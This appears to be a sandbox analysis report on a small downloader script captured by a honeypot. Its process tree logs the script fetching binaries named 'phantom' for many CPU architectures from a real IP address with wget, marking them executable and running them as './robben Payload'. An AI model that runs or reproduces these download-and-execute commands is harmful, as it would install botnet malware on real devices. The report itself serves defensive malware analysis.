1b5d46e827ac989be8cb2f99aa8ce3724a8f0d37cee9ff044abe66d74e0b884a | Triage

Analysis

max time kernel
0s
max time network
121s
platform
linux_mips
resource
debian9-mipsbe-en-20211208
resource tags

arch:mipsimage:debian9-mipsbe-en-20211208kernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
18-10-2022 02:32

Sharing

Report Analysis Logs

General

Target

data/cowrie/downloads/dba1abed0c3a0e0e9ae8877d091c6e1ee90373a68cbafc09b907359391dd766c
Size

1KB
MD5

d282aeb196dc438987fa7fee1a0e660f
SHA1

050d2a4da69b9660a3a080292a08ee2db4f94eb3
SHA256

dba1abed0c3a0e0e9ae8877d091c6e1ee90373a68cbafc09b907359391dd766c
SHA512

45fe0bd9a44b8ee979bf03e8557452c3b1026975809ccf13e0b334a31c0b8daef0628464952c4cc78537e08c5d4be96845ae3e700259200b81a0b8177c56d7fb

Score

5^/10

Malware Config

Signatures

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

Processes:

dba1abed0c3a0e0e9ae8877d091c6e1ee90373a68cbafc09b907359391dd766c

description	ioc	process
/tmp/data/cowrie/downloads/dba1abed0c3a0e0e9ae8877d091c6e1ee90373a68cbafc09b907359391dd766c	/tmp/data/cowrie/downloads/dba1abed0c3a0e0e9ae8877d091c6e1ee90373a68cbafc09b907359391dd766c	dba1abed0c3a0e0e9ae8877d091c6e1ee90373a68cbafc09b907359391dd766c

/tmp/data/cowrie/downloads/dba1abed0c3a0e0e9ae8877d091c6e1ee90373a68cbafc09b907359391dd766c
/tmp/data/cowrie/downloads/dba1abed0c3a0e0e9ae8877d091c6e1ee90373a68cbafc09b907359391dd766c
1⤵
- Writes file to tmp directory
PID:320

/usr/bin/wget
wget http://154.16.115.249/bins/phantom.x86
2⤵
PID:321

/bin/cat
cat phantom.x86
2⤵
PID:327

/bin/chmod
chmod +x data robben systemd-private-e8b2f740dd804249ad4a663ceaf68289-systemd-timesyncd.service-jrwKA5
2⤵
PID:328

./robben
./robben Payload
2⤵
PID:329

/usr/bin/wget
wget http://154.16.115.249/bins/phantom.mips
2⤵
PID:331

/bin/cat
cat phantom.mips
2⤵
PID:333

/bin/chmod
chmod +x data robben systemd-private-e8b2f740dd804249ad4a663ceaf68289-systemd-timesyncd.service-jrwKA5
2⤵
PID:334

./robben
./robben Payload
2⤵
PID:335

/usr/bin/wget
wget http://154.16.115.249/bins/phantom.mpsl
2⤵
PID:337

/bin/cat
cat phantom.mpsl
2⤵
PID:339

/bin/chmod
chmod +x data robben systemd-private-e8b2f740dd804249ad4a663ceaf68289-systemd-timesyncd.service-jrwKA5
2⤵
PID:340

./robben
./robben Payload
2⤵
PID:341

/usr/bin/wget
wget http://154.16.115.249/bins/phantom.arm4
2⤵
PID:343

/bin/cat
cat phantom.arm4
2⤵
PID:345

/bin/chmod
chmod +x data robben systemd-private-e8b2f740dd804249ad4a663ceaf68289-systemd-timesyncd.service-jrwKA5
2⤵
PID:346

./robben
./robben Payload
2⤵
PID:347

/usr/bin/wget
wget http://154.16.115.249/bins/phantom.arm5
2⤵
PID:349

/bin/cat
cat phantom.arm5
2⤵
PID:351

/bin/chmod
chmod +x data robben systemd-private-e8b2f740dd804249ad4a663ceaf68289-systemd-timesyncd.service-jrwKA5
2⤵
PID:352

./robben
./robben Payload
2⤵
PID:353

/usr/bin/wget
wget http://154.16.115.249/bins/phantom.arm6
2⤵
PID:355

/bin/cat
cat phantom.arm6
2⤵
PID:357

/bin/chmod
chmod +x data robben systemd-private-e8b2f740dd804249ad4a663ceaf68289-systemd-timesyncd.service-jrwKA5
2⤵
PID:358

./robben
./robben Payload
2⤵
PID:359

/usr/bin/wget
wget http://154.16.115.249/bins/phantom.arm7
2⤵
PID:361

/bin/cat
cat phantom.arm7
2⤵
PID:363

/bin/chmod
chmod +x data robben systemd-private-e8b2f740dd804249ad4a663ceaf68289-systemd-timesyncd.service-jrwKA5
2⤵
PID:364

./robben
./robben Payload
2⤵
PID:365

/usr/bin/wget
wget http://154.16.115.249/bins/phantom.ppc
2⤵
PID:367

/bin/cat
cat phantom.ppc
2⤵
PID:369

/bin/chmod
chmod +x data robben systemd-private-e8b2f740dd804249ad4a663ceaf68289-systemd-timesyncd.service-jrwKA5
2⤵
PID:370

./robben
./robben Payload
2⤵
PID:371

/usr/bin/wget
wget http://154.16.115.249/bins/phantom.m68k
2⤵
PID:373

/bin/cat
cat phantom.m68k
2⤵
PID:375

/bin/chmod
chmod +x data robben systemd-private-e8b2f740dd804249ad4a663ceaf68289-systemd-timesyncd.service-jrwKA5
2⤵
PID:376

./robben
./robben Payload
2⤵
PID:377

/usr/bin/wget
wget http://154.16.115.249/bins/phantom.sh4
2⤵
PID:379

/bin/cat
cat phantom.sh4
2⤵
PID:381

/bin/chmod
chmod +x data robben systemd-private-e8b2f740dd804249ad4a663ceaf68289-systemd-timesyncd.service-jrwKA5
2⤵
PID:382

./robben
./robben Payload
2⤵
PID:383

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...